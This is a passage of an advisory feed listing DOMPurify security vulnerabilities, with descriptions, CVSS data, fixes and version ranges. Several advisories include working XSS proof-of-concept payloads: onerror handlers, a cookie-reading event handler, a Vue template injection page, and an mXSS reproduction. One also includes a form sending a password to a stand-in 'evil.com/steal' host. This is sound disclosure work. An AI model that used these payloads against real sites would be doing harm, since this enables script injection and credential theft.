DOMPurify.sanitize(dirty);\nconsole.log(clean);\n\ndocument.body.innerHTML = clean;\n```\n\nObserved \"sanitized\" output in Chromium 148/WebKit 625:\n```html\n\u003cselect\u003e\u003cbutton\u003e\u003cselectedcontent\u003e\u003cimg src=\"x\" onerror=\"alert(1)\"\u003ex\u003c/selectedcontent\u003e\u003c/button\u003e\u003coption\u003e\u003cimg src=\"x\"\u003ex\u003c/option\u003e\u003c/select\u003e\n```\n\nAfter reinsertion, the browser updates the live DOM and strips the handler from the displayed clone, but the `onerror` has already fired:\n```html\n\u003cselect\u003e\u003cbutton\u003e\u003cselectedcontent\u003e\u003cimg src=\"x\"\u003ex\u003c/selectedcontent\u003e\u003c/button\u003e\u003coption\u003e\u003cimg src=\"x\"\u003ex\u003c/option\u003e\u003c/select\u003e\n```\n\nReproduced in Chromium and WebKit, but not Safari (not yet latest WebKit) or Firefox. Will likely change with [browser support](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/selectedcontent) for `selectedcontent`.\n\n### Impact\nThis is a default-configuration DOMPurify sanitizer bypass resulting in XSS.\n\nApplications are impacted if they sanitize attacker-controlled HTML with DOMPurify 3.4.4 using the string-input path and then insert the returned string into the page, for example with innerHTML.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-01T14:07:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-87xg-pxx2-7hvx","https://github.com/advisories/GHSA-87xg-pxx2-7hvx"],"source_kind":"github","identifiers":["GHSA-87xg-pxx2-7hvx","CVE-2026-47423"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-01T15:00:08.950Z","updated_at":"2026-10-26T21:03:12.145Z","epss_percentage":0.0041,"epss_percentile":0.3493,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04N3hnLXB4eDItN2h2eM4ABX4O","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04N3hnLXB4eDItN2h2eM4ABX4O","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.5","vulnerable_version_range":"= 3.4.4"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04N3hnLXB4eDItN2h2eM4ABX4O/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oN213LWdwdnIteHE0bc4ABVoP","url":"https://github.com/advisories/GHSA-h7mw-gpvr-xq4m","title":"DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)","description":"There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.\n\nCommit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214:\n\n    /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */\n    if (FORBID_ATTR[lcName]) {\n      return false;\n    }\n\nThe same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:\n\n    if (\n      !(\n        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function \u0026\u0026\n        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -\u003e short-circuits\n      ) \u0026\u0026\n      (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated\n    ) {\n\nThis allows forbidden elements to survive sanitization with their attributes intact.\n\nPoC (tested against current HEAD in Node.js + jsdom):\n\n    const DOMPurify = createDOMPurify(window);\n\n    DOMPurify.sanitize(\n      '\u003ciframe src=\"https://evil.com\"\u003e\u003c/iframe\u003e',\n      {\n        ADD_TAGS: function(tag) { return true; },\n        FORBID_TAGS: ['iframe']\n      }\n    );\n    // Returns: '\u003ciframe src=\"https://evil.com\"\u003e\u003c/iframe\u003e'\n    // Expected: '' (iframe forbidden)\n\n    DOMPurify.sanitize(\n      '\u003cform action=\"https://evil.com/steal\"\u003e\u003cinput name=password\u003e\u003c/form\u003e',\n      {\n        ADD_TAGS: function(tag) { return true; },\n        FORBID_TAGS: ['form']\n      }\n    );\n    // Returns: '\u003cform action=\"https://evil.com/steal\"\u003e\u003cinput name=\"password\"\u003e\u003c/form\u003e'\n    // Expected: '\u003cinput name=\"password\"\u003e' (form forbidden)\n\nConfirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.\n\nCompare with FORBID_ATTR which correctly wins:\n\n    DOMPurify.sanitize(\n      '\u003cp onclick=\"alert(1)\"\u003ehello\u003c/p\u003e',\n      {\n        ADD_ATTR: function(attr) { return true; },\n        FORBID_ATTR: ['onclick']\n      }\n    );\n    // Returns: '\u003cp\u003ehello\u003c/p\u003e' (onclick correctly removed)\n\nSuggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:\n\n    /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */\n    if (FORBID_TAGS[tagName]) {\n      // proceed to removal logic\n    }\n\nThis requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.\n\nReporter: Koda Reef","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-22T17:34:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.0,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m","https://github.com/cure53/DOMPurify/releases/tag/3.4.0","https://nvd.nist.gov/vuln/detail/CVE-2026-41240","https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80","https://github.com/advisories/GHSA-h7mw-gpvr-xq4m"],"source_kind":"github","identifiers":["GHSA-h7mw-gpvr-xq4m","CVE-2026-41240"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-22T18:00:09.144Z","updated_at":"2026-10-26T21:04:07.863Z","epss_percentage":0.00313,"epss_percentile":0.23953,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oN213LWdwdnIteHE0bc4ABVoP","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oN213LWdwdnIteHE0bc4ABVoP","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.0","vulnerable_version_range":"\u003c 3.4.0"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oN213LWdwdnIteHE0bc4ABVoP/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jcnY1LTl2d3ctcTNnOM4ABVoO","url":"https://github.com/advisories/GHSA-crv5-9vww-q3g8","title":"DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode","description":"## Summary\n\n| Field | Value |\n|:------|:------|\n| **Severity** | Medium |\n| **Affected** | DOMPurify `main` at [`883ac15`](https://github.com/cure53/DOMPurify/tree/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6), introduced in v1.0.10 ([`7fc196db`](https://github.com/cure53/DOMPurify/commit/7fc196db0b42a0c360262dba0cc39c9c91bfe1ec)) |\n\n`SAFE_FOR_TEMPLATES` strips `{{...}}` expressions from untrusted HTML. This works in string mode but not with `RETURN_DOM` or `RETURN_DOM_FRAGMENT`, allowing XSS via template-evaluating frameworks like Vue 2.\n\n## Technical Details\n\nDOMPurify strips template expressions in two passes:\n\n1. **Per-node** — each text node is checked during the tree walk ([`purify.ts:1179-1191`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1179-L1191)):\n\n```js\n// pass #1: runs on every text node during tree walk\nif (SAFE_FOR_TEMPLATES \u0026\u0026 currentNode.nodeType === NODE_TYPE.text) {\n  content = currentNode.textContent;\n  content = content.replace(MUSTACHE_EXPR, ' ');  // {{...}} -\u003e ' '\n  content = content.replace(ERB_EXPR, ' ');        // \u003c%...%\u003e -\u003e ' '\n  content = content.replace(TMPLIT_EXPR, ' ');      // ${...  -\u003e ' '\n  currentNode.textContent = content;\n}\n```\n\n2. **Final string scrub** — after serialization, the full HTML string is scrubbed again ([`purify.ts:1679-1683`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1679-L1683)). This is the safety net that catches expressions that only form after the DOM settles.\n\nThe `RETURN_DOM` path returns before pass #2 ever runs ([`purify.ts:1637-1661`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1637-L1661)):\n\n```js\n// purify.ts (simplified)\n\nif (RETURN_DOM) {\n  // ... build returnNode ...\n  return returnNode;        // \u003c-- exits here, pass #2 never runs\n}\n\n// pass #2: only reached by string-mode callers\nif (SAFE_FOR_TEMPLATES) {\n  serializedHTML = serializedHTML.replace(MUSTACHE_EXPR, ' ');\n}\nreturn serializedHTML;\n```\n\nThe payload `{\u003cfoo\u003e\u003c/foo\u003e{constructor.constructor('alert(1)')()}\u003cfoo\u003e\u003c/foo\u003e}` exploits this:\n\n1. Parser creates: `TEXT(\"{\")` → `\u003cfoo\u003e` → `TEXT(\"{payload}\")` → `\u003cfoo\u003e` → `TEXT(\"}\")` — no single node contains `{{`, so pass #1 misses it\n2. `\u003cfoo\u003e` is not allowed, so DOMPurify removes it but keeps surrounding text\n3. The three text nodes are now adjacent — `.outerHTML` reads them as `{{payload}}`, which Vue 2 compiles and executes\n\n## Reproduce\n\nOpen the following html in any browser and `alert(1)` pops up.\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\n\u003cbody\u003e\n  \u003cscript src=\"https://cdn.jsdelivr.net/npm/dompurify@3.3.3/dist/purify.min.js\"\u003e\u003c/script\u003e\n  \u003cscript src=\"https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.min.js\"\u003e\u003c/script\u003e\n  \u003cscript\u003e\n    var dirty = '\u003cdiv id=\"app\"\u003e{\u003cfoo\u003e\u003c/foo\u003e{constructor.constructor(\"alert(1)\")()}\u003cfoo\u003e\u003c/foo\u003e}\u003c/div\u003e';\n    var dom = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true });\n    document.body.appendChild(dom.firstChild);\n    new Vue({ el: '#app' });\n  \u003c/script\u003e\n\u003c/body\u003e\n\n\u003c/html\u003e\n```\n\n## Impact\n\nAny application that sanitizes attacker-controlled HTML with `SAFE_FOR_TEMPLATES: true` and `RETURN_DOM: true` (or `RETURN_DOM_FRAGMENT: true`), then mounts the result into a template-evaluating framework, is vulnerable to XSS.\n\n## Recommendations\n\n### Fix\n\n`normalize()` merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both `RETURN_DOM` and `RETURN_DOM_FRAGMENT`.\n\n```diff\n     if (RETURN_DOM) {\n+      if (SAFE_FOR_TEMPLATES) {\n+        body.normalize();\n+        let html = body.innerHTML;\n+        arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) =\u003e {\n+          html = stringReplace(html, expr, ' ');\n+        });\n+        body.innerHTML = html;\n+      }\n+\n       if (RETURN_DOM_FRAGMENT) {\n         returnNode = createDocumentFragment.call(body.ownerDocument);\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-22T17:32:54.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-crv5-9vww-q3g8","https://github.com/cure53/DOMPurify/releases/tag/3.4.0","https://nvd.nist.gov/vuln/detail/CVE-2026-41239","https://github.com/advisories/GHSA-crv5-9vww-q3g8"],"source_kind":"github","identifiers":["GHSA-crv5-9vww-q3g8","CVE-2026-41239"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-22T18:00:09.144Z","updated_at":"2026-10-26T21:04:07.863Z","epss_percentage":0.00248,"epss_percentile":0.15972,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcnY1LTl2d3ctcTNnOM4ABVoO","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jcnY1LTl2d3ctcTNnOM4ABVoO","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.0","vulnerable_version_range":"\u003e= 1.0.10, \u003c 3.4.0"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcnY1LTl2d3ctcTNnOM4ABVoO/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12OWpyLXJnNTMtOXBncM4ABVoN","url":"https://github.com/advisories/GHSA-v9jr-rg53-9pgp","title":"DOMPurify: Prototype Pollution to XSS Bypass via CUSTOM_ELEMENT_HANDLING Fallback","description":"## Summary\n\nDOMPurify versions 3.0.1 through 3.3.3 (latest) are vulnerable to a prototype pollution-based XSS bypass. When an application uses `DOMPurify.sanitize()` with the default configuration (no `CUSTOM_ELEMENT_HANDLING` option), a prior prototype pollution gadget can inject permissive `tagNameCheck` and `attributeNameCheck` regex values into `Object.prototype`, causing DOMPurify to allow arbitrary custom elements with arbitrary attributes — including event handlers — through sanitization.\n\n## Affected Versions\n\n- **3.0.1 through 3.3.3** (current latest) — all affected\n- **3.0.0 and all 2.x versions** — NOT affected (used `Object.create(null)` for initialization, no `|| {}` reassignment)\n- The vulnerable `|| {}` reassignment was introduced in the 3.0.0→3.0.1 refactor\n- This is **distinct** from GHSA-cj63-jhhr-wcxv (USE_PROFILES Array.prototype pollution, fixed in 3.3.2)\n- This is **distinct** from CVE-2024-45801 / GHSA-mmhx-hmjr-r674 (__depth prototype pollution, fixed in 3.1.3)\n\n## Root Cause\n\nIn `purify.js` at line 590, during config parsing:\n\n```javascript\nCUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};\n```\n\nWhen no `CUSTOM_ELEMENT_HANDLING` is specified in the config (the default usage pattern), `cfg.CUSTOM_ELEMENT_HANDLING` is `undefined`, and the fallback `{}` is used. This plain object inherits from `Object.prototype`.\n\nLines 591-598 then check `cfg.CUSTOM_ELEMENT_HANDLING` (the original config property) — which is `undefined` — so the conditional blocks that would set `tagNameCheck` and `attributeNameCheck` from the config are never entered.\n\nAs a result, `CUSTOM_ELEMENT_HANDLING.tagNameCheck` and `CUSTOM_ELEMENT_HANDLING.attributeNameCheck` resolve via the prototype chain. If an attacker has polluted `Object.prototype.tagNameCheck` and `Object.prototype.attributeNameCheck` with permissive values (e.g., `/.*/`), these polluted values flow into DOMPurify's custom element validation at lines 973-977 and attribute validation, causing all custom elements and all attributes to be allowed.\n\n## Impact\n\n- **Attack type:** XSS bypass via prototype pollution chain\n- **Prerequisites:** Attacker must have a prototype pollution primitive in the same execution context (e.g., vulnerable version of lodash, jQuery.extend, query-string parser, deep merge utility, or any other PP gadget)\n- **Config required:** Default. No special DOMPurify configuration needed. The standard `DOMPurify.sanitize(userInput)` call is affected.\n- **Payload:** Any HTML custom element (name containing a hyphen) with event handler attributes survives sanitization\n\n## Proof of Concept\n\n```javascript\n// Step 1: Attacker exploits a prototype pollution gadget elsewhere in the application\nObject.prototype.tagNameCheck = /.*/;\nObject.prototype.attributeNameCheck = /.*/;\n\n// Step 2: Application sanitizes user input with DEFAULT config\nconst clean = DOMPurify.sanitize('\u003cx-x onfocus=alert(document.cookie) tabindex=0 autofocus\u003e');\n\n// Step 3: \"Sanitized\" output still contains the event handler\nconsole.log(clean);\n// Output: \u003cx-x onfocus=\"alert(document.cookie)\" tabindex=\"0\" autofocus=\"\"\u003e\n\n// Step 4: When injected into DOM, XSS executes\ndocument.body.innerHTML = clean; // alert() fires\n```\n\n### Tested configurations that are vulnerable:\n\n| Call Pattern | Vulnerable? |\n|---|---|\n| `DOMPurify.sanitize(input)` | YES |\n| `DOMPurify.sanitize(input, {})` | YES |\n| `DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: null })` | YES |\n| `DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: {} })` | NO (explicit object triggers L591 path) |\n\n## Suggested Fix\n\nChange line 590 from:\n```javascript\nCUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};\n```\n\nTo:\n```javascript\nCUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || create(null);\n```\n\nThe `create(null)` function (already used elsewhere in DOMPurify, e.g., in `clone()`) creates an object with no prototype, preventing prototype chain inheritance.\n\n### Alternative application-level mitigation:\n\nApplications can protect themselves by always providing an explicit `CUSTOM_ELEMENT_HANDLING` in their config:\n\n```javascript\nDOMPurify.sanitize(input, {\n  CUSTOM_ELEMENT_HANDLING: {\n    tagNameCheck: null,\n    attributeNameCheck: null\n  }\n});\n```\n\n## Timeline\n\n- **2026-04-04:** Vulnerability discovered during automated DOMPurify fuzzing research (Fermat project)\n- **2026-04-04:** Confirmed in Chrome browser with DOMPurify 3.3.3\n- **2026-04-04:** Verified distinct from GHSA-cj63-jhhr-wcxv and CVE-2024-45801\n- **2026-04-04:** Advisory drafted, responsible disclosure initiated\n\n## Credit\n\nhttps://github.com/trace37labs","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-22T17:31:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-v9jr-rg53-9pgp","https://github.com/cure53/DOMPurify/releases/tag/3.4.0","https://nvd.nist.gov/vuln/detail/CVE-2026-41238","https://github.com/advisories/GHSA-v9jr-rg53-9pgp"],"source_kind":"github","identifiers":["GHSA-v9jr-rg53-9pgp","CVE-2026-41238"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-22T18:00:09.144Z","updated_at":"2026-10-26T21:04:07.864Z","epss_percentage":0.00225,"epss_percentile":0.13096,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OWpyLXJnNTMtOXBncM4ABVoN","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12OWpyLXJnNTMtOXBncM4ABVoN","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.0","vulnerable_version_range":"\u003e= 3.0.1, \u003c 3.4.0"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OWpyLXJnNTMtOXBncM4ABVoN/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zOXEyLTk0cmMtOTVjcM4ABVWZ","url":"https://github.com/advisories/GHSA-39q2-94rc-95cp","title":"DOMPurify's ADD_TAGS function form bypasses FORBID_TAGS due to short-circuit evaluation","description":"## Summary\nIn `src/purify.ts:1117-1123`, `ADD_TAGS` as a function (via `EXTRA_ELEMENT_HANDLING.tagCheck`) bypasses `FORBID_TAGS` due to short-circuit evaluation.\n\nThe condition:\n```\n!(tagCheck(tagName)) \u0026\u0026 (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])\n```\nWhen `tagCheck(tagName)` returns `true`, the entire condition is `false` and the element is kept — `FORBID_TAGS[tagName]` is never evaluated.\n\n## Inconsistency\nThis contradicts the attribute-side pattern at line 1214 where `FORBID_ATTR` explicitly wins first:\n```\nif (FORBID_ATTR[lcName]) { continue; }\n```\nFor tags, FORBID should also take precedence over ADD.\n\n## Impact\nApplications using both `ADD_TAGS` as a function and `FORBID_TAGS` simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency.\n\n## Suggested Fix\nCheck `FORBID_TAGS` before `tagCheck`:\n```\nif (FORBID_TAGS[tagName]) { /* remove */ }\nelse if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ }\n```\n\n## Affected Version\nv3.3.3 (commit 883ac15)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-16T00:46:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-39q2-94rc-95cp","https://github.com/advisories/GHSA-39q2-94rc-95cp"],"source_kind":"github","identifiers":["GHSA-39q2-94rc-95cp","CVE-2026-65903"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-16T01:00:09.918Z","updated_at":"2026-10-26T21:04:16.303Z","epss_percentage":0.00325,"epss_percentile":0.25303,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zOXEyLTk0cmMtOTVjcM4ABVWZ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zOXEyLTk0cmMtOTVjcM4ABVWZ","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.0","vulnerable_version_range":"\u003c= 3.3.3"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zOXEyLTk0cmMtOTVjcM4ABVWZ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jam1tLWY0amMtcXc4cs4ABUrA","url":"https://github.com/advisories/GHSA-cjmm-f4jc-qw8r","title":"DOMPurify ADD_ATTR predicate skips URI validation","description":"## Summary\nDOMPurify allows `ADD_ATTR` to be provided as a predicate function via `EXTRA_ELEMENT_HANDLING.attributeCheck`. When the predicate returns `true`, `_isValidAttribute` short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as `\u003ca href=\"javascript:alert(document.domain)\"\u003e` and have the `javascript:` URL survive, because URI validation is skipped for that attribute while other checks still pass. The provided PoC accepts `href` for anchors and then triggers a click inside an iframe, showing that the sanitized payload executes despite the protocol bypass.\n\n## Impact\nPredicate-based allowlisting bypasses DOMPurify's URI validation, allowing unsafe protocols such as `javascript:` to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS.\n\n## Credits\nIdentified by Cantina’s Apex (https://www.cantina.security).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-03T03:46:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-cjmm-f4jc-qw8r","https://github.com/cure53/DOMPurify/releases/tag/3.3.2","https://github.com/advisories/GHSA-cjmm-f4jc-qw8r"],"source_kind":"github","identifiers":["GHSA-cjmm-f4jc-qw8r","CVE-2026-65912"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-03T04:00:09.554Z","updated_at":"2026-10-27T20:05:32.006Z","epss_percentage":0.003,"epss_percentile":0.22503,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jam1tLWY0amMtcXc4cs4ABUrA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jam1tLWY0amMtcXc4cs4ABUrA","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.3.2","vulnerable_version_range":"\u003c= 3.3.1"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jam1tLWY0amMtcXc4cs4ABUrA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jajYzLWpoaHItd2N4ds4ABUq_","url":"https://github.com/advisories/GHSA-cj63-jhhr-wcxv","title":"DOMPurify USE_PROFILES prototype pollution allows event handlers","description":"## Summary\nWhen `USE_PROFILES` is enabled, DOMPurify rebuilds `ALLOWED_ATTR` as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via `ALLOWED_ATTR[lcName]`, any `Array.prototype` property that is polluted also counts as an allowlisted attribute. An attacker who can set `Array.prototype.onclick = true` (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as `onclick` even when they are normally forbidden. The provided PoC sanitizes `\u003cimg onclick=...\u003e` with `USE_PROFILES` and adds the sanitized output to the DOM; the polluted prototype allows the event handler to survive and execute, turning what should be a blocklist into a silent XSS vector.\n\n## Impact\nPrototype pollution makes DOMPurify accept dangerous event handler attributes, which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered.\n\n## Credits\nIdentified by Cantina’s Apex (https://www.cantina.security).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-03T03:45:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-cj63-jhhr-wcxv","https://github.com/cure53/DOMPurify/releases/tag/3.3.2","https://github.com/advisories/GHSA-cj63-jhhr-wcxv"],"source_kind":"github","identifiers":["GHSA-cj63-jhhr-wcxv","CVE-2026-65913"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-03T04:00:09.554Z","updated_at":"2026-10-26T21:04:33.980Z","epss_percentage":0.00318,"epss_percentile":0.23515,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jajYzLWpoaHItd2N4ds4ABUq_","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jajYzLWpoaHItd2N4ds4ABUq_","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.3.2","vulnerable_version_range":"\u003c= 3.3.1"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jajYzLWpoaHItd2N4ds4ABUq_/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oOHI4LXdjY3ItdjVmMs4ABUZm","url":"https://github.com/advisories/GHSA-h8r8-wccr-v5f2","title":"DOMPurify is vulnerable to mutation-XSS via Re-Contextualization ","description":"## Description\n\nA mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC).\n\n\n## Vulnerability\n\nThe root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, `\u003cxmp\u003e ... \u003c/xmp\u003e` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `\u003c/xmp\u003e` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (`\u003cimg ... onerror=...\u003e`) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).\n\n## PoC\n\n1. Start the PoC app:\n```bash\nnpm install\nnpm start\n```\n\n2. Open `http://localhost:3001`.\n3. Set `Wrapper en sink` to `xmp`.\n4. Use payload:\n```html\n \u003cimg src=x alt=\"\u003c/xmp\u003e\u003cimg src=x onerror=alert('expoc')\u003e\"\u003e\n```\n\n5. Click `Sanitize + Render`.\n6. Observe:\n- `Sanitized response` still contains the `\u003c/xmp\u003e` sequence inside `alt`.\n- The sink reparses to include `\u003cimg src=\"x\" onerror=\"alert('expoc')\"\u003e`.\n- `alert('expoc')` is triggered.\n7. Files:\n- index.html\n\n```html\n\u003c!doctype html\u003e\n\u003chtml lang=\"en\"\u003e\n  \u003chead\u003e\n    \u003cmeta charset=\"utf-8\"\u003e\n    \u003cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1\"\u003e\n    \u003ctitle\u003eexpoc - DOMPurify SSR PoC\u003c/title\u003e\n    \u003cstyle\u003e\n      :root {\n        --bg: #f7f8fb;\n        --panel: #ffffff;\n        --line: #d8dce6;\n        --text: #0f172a;\n        --muted: #475569;\n        --accent: #0ea5e9;\n      }\n\n      * {\n        box-sizing: border-box;\n      }\n\n      body {\n        margin: 0;\n        font-family: \"SF Mono\", Menlo, Consolas, monospace;\n        color: var(--text);\n        background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);\n      }\n\n      main {\n        max-width: 980px;\n        margin: 28px auto;\n        padding: 0 16px 20px;\n      }\n\n      h1 {\n        margin: 0 0 10px;\n        font-size: 1.45rem;\n      }\n\n      p {\n        margin: 0;\n        color: var(--muted);\n      }\n\n      .grid {\n        display: grid;\n        gap: 14px;\n        margin-top: 16px;\n      }\n\n      .card {\n        background: var(--panel);\n        border: 1px solid var(--line);\n        border-radius: 12px;\n        padding: 14px;\n      }\n\n      label {\n        display: block;\n        